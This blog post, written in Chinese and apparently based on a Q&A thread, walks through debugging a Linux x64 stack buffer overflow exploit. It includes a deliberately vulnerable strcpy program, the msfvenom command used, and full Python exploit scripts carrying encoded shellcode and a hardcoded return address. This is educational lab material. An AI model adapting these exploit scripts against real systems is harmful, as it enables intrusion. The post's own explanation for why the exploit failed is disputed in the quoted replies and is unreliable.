解决MsfVenom生成Shellcode在缓冲区溢出中执行失败的问题

本文详细探讨了使用MsfVenom生成的Shellcode在Linux x64缓冲区溢出攻击中执行失败的技术问题,通过调整Shellcode与NOP sled的相对位置解决了因栈指针交互导致的空字节问题,并提供了修正后的Python利用代码。

MsfVenom生成的Shellcode在缓冲区溢出中执行失败

问题描述: 在使用MsfVenom生成的Shellcode进行缓冲区溢出攻击时遇到执行失败的问题。即使使用了 -b '\x00' 参数来避免空字节,生成的Shellcode在目标程序的缓冲区中似乎仍然导致了问题。

技术细节:

  • 目标环境: Linux x64
  • 使用的MsfVenom命令:
    1
    
    msfvenom -p linux/x64/exec -f py -o shellcode.py -b '\x00' CMD=whoami
    
  • 漏洞程序代码:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int copytobuffer(char* input) {
        char buffer[256];
        strcpy(buffer, input);
        return 0;
    }
    
    void main(int argc, char *argv[]) {
        int local_variable = 1;
        copytobuffer(argv[1]);
        exit(0);
    }
    
  • 最初的Python利用代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    #!/usr/bin/python
    from struct import *
    buffer = ''
    buffer += '\x90'*177
    buffer += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d"
    # ... (Shellcode字节)
    buffer += pack("<Q", 0x7fffffffd8c0)
    f = open("input.txt", "w")
    f.write(buffer)
    

问题分析: 通过GDB调试发现,Shellcode在内存中(地址 0x7fffffffd948)的NOP sled(\x90)之后出现了空字节(0x00)。这导致缓冲区仅被填充了约216字节(直到第一个空字节处),而程序需要264字节的payload来覆盖返回地址。因此,缓冲区未被完全填满,程序正常退出,攻击未能成功。

根本原因: Shellcode本身并不包含空字节(从Python代码中可见其以值 0x09 的TAB字符结尾)。问题在于Shellcode在内存中的位置靠近栈指针(rsp),其内部的push/pop逻辑与之产生了不良交互,可能意外地将 0x00(空字节)压入栈中。

解决方案: 调整payload的结构,将Shellcode放置在NOP sled之前,以避免其push/pop操作干扰栈内存。

修正后的Python利用代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
from struct import *
import sys

buffer = b''
# 首先放置Shellcode
buffer+= b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d"
buffer+= b"\x05\xef\xff\xff\xff\x48\xbb\x2e\x99\x72\x9d\x84"
buffer+= b"\xbe\xc0\x63\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buffer+= b"\xff\xe2\xf4\x66\x21\x5d\xff\xed\xd0\xef\x10\x46"
buffer+= b"\x99\xeb\xcd\xd0\xe1\x92\x05\x46\xb4\x11\xc9\xda"
buffer+= b"\xec\x28\x64\x2e\x99\x72\xea\xec\xd1\xa1\x0e\x47"
buffer+= b"\x99\x24\xca\xd0\xe0\xaa\x58\x76\x96\x77\x9d\x84"
buffer+= b"\xbe\xc0\x63"
# 然后放置NOP sled
buffer += b'\x90'*177
# 最后放置返回地址
buffer += pack("<Q", 0x7fffffffd870)

print(sys.getsizeof(buffer))
f = open("input.txt", "wb")
f.write(buffer)

结果: 此修改解决了问题,使Shellcode得以成功执行。

社区讨论摘要:

  • 有经验的安全研究员指出,该Shellcode使用的是标准的Shikata ga nai编码器(一种简单的XOR操作),并通过字面量池技术调用execve。它向栈压入的数据量很小,且肯定不会压入空字节。
  • 栈指针靠近Shellcode代码是一种常见情况,它通常不会产生空字节,而是导致更难以预料的行为(例如数据被当作代码执行)。
  • 建议深入理解问题本质(很可能是传递payload的方式有误),因为漏洞利用设计需要严谨,不能马虎。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计